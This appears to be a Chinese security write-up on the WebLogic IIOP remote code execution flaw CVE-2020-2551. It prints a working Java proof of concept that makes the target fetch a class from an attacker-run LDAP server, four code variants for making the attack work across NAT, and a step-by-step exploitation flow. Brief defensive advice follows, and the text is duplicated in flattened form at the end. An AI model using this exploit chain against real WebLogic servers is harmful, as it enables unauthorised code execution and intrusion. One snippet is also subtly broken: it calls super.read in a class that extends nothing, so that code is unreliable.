Weblogic CVE-2020-2551 绕过NAT网络分析
字数 1522 2025-08-26 22:11:45

Weblogic CVE-2020-2551漏洞分析与NAT绕过技术研究

1. 漏洞概述

CVE-2020-2551是Oracle WebLogic Server中的一个远程代码执行漏洞,影响IIOP协议。攻击者可以通过构造特殊的IIOP请求,利用WebLogic的JNDI注入漏洞实现远程代码执行。

2. 漏洞复现基础环境

2.1 环境搭建

  • 使用VMware虚拟机
  • Docker容器中部署WebLogic服务
  • 攻击机IP: 192.168.153.1
  • 目标机IP: 192.168.153.136
  • WebLogic服务端口: 7001

2.2 基础POC代码

public class CVE_2020_2551 {
    public static <T> T createMemoitizedProxy(final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces) throws Exception {
        return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
    }
    
    public static InvocationHandler createMemoizedInvocationHandler(final Map<String, Object> map) throws Exception {
        return (InvocationHandler) Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").newInstance(Override.class, map);
    }
    
    public static <T> T createProxy(final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces) {
        final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
        allIfaces[0] = iface;
        if (ifaces.length > 0) {
            System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
        }
        return iface.cast(Proxy.newProxyInstance(CVE_2020_2551.class.getClassLoader(), allIfaces, ih));
    }
    
    public static Map<String, Object> createMap(final String key, final Object val) {
        final Map<String, Object> map = new HashMap<String, Object>();
        map.put(key, val);
        return map;
    }
    
    public static void main(String[] args) throws Exception {
        String ip = "192.168.153.136";
        String port = "7001";
        Hashtable<String, String> env = new Hashtable<String, String>();
        env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
        env.put("java.naming.provider.url", String.format("iiop://%s:%s", ip, port));
        
        Context context = new InitialContext(env);
        
        // get Object to Deserialize
        JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
        jtaTransactionManager.setUserTransactionName("ldap://192.168.153.1:1389/5l7wz0");
        
        Remote remote = createMemoitizedProxy(createMap("pwned", jtaTransactionManager), Remote.class);
        context.bind("hello", remote);
    }
}

3. NAT环境下的问题分析

3.1 问题现象

在NAT环境下使用上述POC时,会出现"连接被拒绝"的错误。

3.2 调用栈分析

关键调用栈如下:

send:1129, EndPointImpl (weblogic.iiop)
sendReceive:1168, EndPointImpl (weblogic.iiop)
sendReceive:1186, EndPointImpl (weblogic.iiop)
locateNameService:204, IORManager (weblogic.iiop)
createInitialReference:123, IORManager (weblogic.iiop)
string_to_object:341, ORB (weblogic.corba.orb)
resolve_initial_references:235, ORB (weblogic.corba.orb)
getORBReferenceWithRetry:588, ORBHelper (weblogic.corba.j2ee.naming)
getORBReference:559, ORBHelper (weblogic.corba.j2ee.naming)
getInitialContext:85, InitialContextFactoryImpl (weblogic.corba.j2ee.naming)
getInitialContext:33, iiopEnvironmentFactory (weblogic.factories.iiop)
getInitialContext:71, iiopEnvironmentFactory (weblogic.factories.iiop)
getContext:315, Environment (weblogic.jndi)
getContext:285, Environment (weblogic.jndi)
getInitialContext:117, WLInitialContextFactory (weblogic.jndi)
getInitialContext:684, NamingManager (javax.naming.spi)
getDefaultInitCtx:313, InitialContext (javax.naming)
init:244, InitialContext (javax.naming)
<init>:216, InitialContext (javax.naming)
main:43, CVE_2020_2551 (pers.weblogic)

3.3 根本原因

IORManager#locateNameService方法中:

  1. 创建LocateRequestMessage对象并传入sendReceive方法
  2. sendReceive方法返回的是var1.getReply得到的LocateReplyMessage对象
  3. locateNameService方法中调用needsForwarding返回一个IOR对象
  4. 其中的iopProfile属性中,得到的host/port分别为0.0.0.0/7001

0.0.0.0代表本机地址,而本机没有开启WebLogic服务,导致在虚拟机Docker环境中无法直接利用。

4. 绕过NAT的改造方案

4.1 方案一:修改IOPProfile类的read方法

  1. 在项目中创建weblogic.iiop
  2. 添加IOPProfile类并重写read方法
  3. 关键点:手动修改this.host为正确的WebLogic服务地址
// 修改后的IOPProfile类
public class IOPProfile extends weblogic.iiop.IOPProfile {
    public void read(weblogic.utils.io.DataInput in) throws IOException {
        super.read(in);
        // 强制修改host为正确的IP地址
        this.host = "192.168.153.136";
    }
}

4.2 方案二:修改ConnectionKey类的read方法

  1. ConnectionKey#read方法中获取数据
  2. 获取到0.0.0.0的IP地址后进行覆盖操作
// 修改后的ConnectionKey类
public class ConnectionKey {
    public void read(weblogic.utils.io.DataInput in) throws IOException {
        super.read(in);
        // 获取原始IP后覆盖
        if(this.address.equals("0.0.0.0")) {
            this.address = "192.168.153.136";
        }
    }
}

4.3 方案三:覆盖ConnectionKey对象

  1. 使用Wireshark抓包分析请求流程
  2. 从数据包中获取远程IP地址
  3. 重写IOPProfile#read方法直接覆盖ConnectionKey对象
public class IOPProfile extends weblogic.iiop.IOPProfile {
    public void read(weblogic.utils.io.DataInput in) throws IOException {
        ConnectionKey key = new ConnectionKey();
        key.read(in);
        // 从数据中获取真实IP并覆盖
        this.host = getRealIPFromPacket();
    }
}

4.4 方案四:覆盖IOPProfile对象

  1. 分析EndPointManager#createEndPoint方法中的Socket通信
  2. 修改IOR对象中的iopProfile属性的host/port数据
  3. 使用反射强制修改canonicalHost属性
// 使用反射修改IOR对象
Field iopProfileField = ior.getClass().getDeclaredField("iopProfile");
iopProfileField.setAccessible(true);
Object iopProfile = iopProfileField.get(ior);

Field hostField = iopProfile.getClass().getDeclaredField("host");
hostField.setAccessible(true);
hostField.set(iopProfile, "192.168.153.136");

Field canonicalHostField = iopProfile.getClass().getDeclaredField("canonicalHost");
canonicalHostField.setAccessible(true);
canonicalHostField.set(iopProfile, InetAddress.getByName("192.168.153.136"));

5. 漏洞利用完整流程

  1. 搭建JNDI注入工具服务,监听1389端口
  2. 准备恶意LDAP服务,指向攻击者的RMI服务
  3. 使用改造后的POC代码发起攻击
  4. WebLogic服务器连接攻击者的LDAP服务
  5. 加载恶意类并执行,实现远程代码执行

6. 防御措施

  1. 及时安装Oracle官方发布的安全补丁
  2. 限制IIOP协议的访问,只允许可信网络访问
  3. 使用网络防火墙规则限制WebLogic服务器的出站连接
  4. 监控WebLogic服务器的异常网络连接行为
  5. 禁用不必要的JNDI查找功能

7. 总结

CVE-2020-2551漏洞利用WebLogic的IIOP协议实现远程代码执行,在NAT环境下需要特殊处理才能成功利用。通过分析漏洞原理和调用流程,我们可以采用多种方式绕过NAT限制,包括修改IOPProfile、ConnectionKey等关键类的行为,或者使用反射直接修改内存中的关键属性。防御方面应及时打补丁并限制网络访问。

Weblogic CVE-2020-2551漏洞分析与NAT绕过技术研究 1. 漏洞概述 CVE-2020-2551是Oracle WebLogic Server中的一个远程代码执行漏洞,影响IIOP协议。攻击者可以通过构造特殊的IIOP请求,利用WebLogic的JNDI注入漏洞实现远程代码执行。 2. 漏洞复现基础环境 2.1 环境搭建 使用VMware虚拟机 Docker容器中部署WebLogic服务 攻击机IP: 192.168.153.1 目标机IP: 192.168.153.136 WebLogic服务端口: 7001 2.2 基础POC代码 3. NAT环境下的问题分析 3.1 问题现象 在NAT环境下使用上述POC时,会出现"连接被拒绝"的错误。 3.2 调用栈分析 关键调用栈如下: 3.3 根本原因 在 IORManager#locateNameService 方法中: 创建 LocateRequestMessage 对象并传入 sendReceive 方法 sendReceive 方法返回的是 var1.getReply 得到的 LocateReplyMessage 对象 在 locateNameService 方法中调用 needsForwarding 返回一个 IOR 对象 其中的 iopProfile 属性中,得到的 host/port 分别为 0.0.0.0/7001 0.0.0.0 代表本机地址,而本机没有开启WebLogic服务,导致在虚拟机Docker环境中无法直接利用。 4. 绕过NAT的改造方案 4.1 方案一:修改IOPProfile类的read方法 在项目中创建 weblogic.iiop 包 添加 IOPProfile 类并重写 read 方法 关键点:手动修改 this.host 为正确的WebLogic服务地址 4.2 方案二:修改ConnectionKey类的read方法 在 ConnectionKey#read 方法中获取数据 获取到 0.0.0.0 的IP地址后进行覆盖操作 4.3 方案三:覆盖ConnectionKey对象 使用Wireshark抓包分析请求流程 从数据包中获取远程IP地址 重写 IOPProfile#read 方法直接覆盖 ConnectionKey 对象 4.4 方案四:覆盖IOPProfile对象 分析 EndPointManager#createEndPoint 方法中的Socket通信 修改 IOR 对象中的 iopProfile 属性的 host/port 数据 使用反射强制修改 canonicalHost 属性 5. 漏洞利用完整流程 搭建JNDI注入工具服务,监听1389端口 准备恶意LDAP服务,指向攻击者的RMI服务 使用改造后的POC代码发起攻击 WebLogic服务器连接攻击者的LDAP服务 加载恶意类并执行,实现远程代码执行 6. 防御措施 及时安装Oracle官方发布的安全补丁 限制IIOP协议的访问,只允许可信网络访问 使用网络防火墙规则限制WebLogic服务器的出站连接 监控WebLogic服务器的异常网络连接行为 禁用不必要的JNDI查找功能 7. 总结 CVE-2020-2551漏洞利用WebLogic的IIOP协议实现远程代码执行,在NAT环境下需要特殊处理才能成功利用。通过分析漏洞原理和调用流程,我们可以采用多种方式绕过NAT限制,包括修改IOPProfile、ConnectionKey等关键类的行为,或者使用反射直接修改内存中的关键属性。防御方面应及时打补丁并限制网络访问。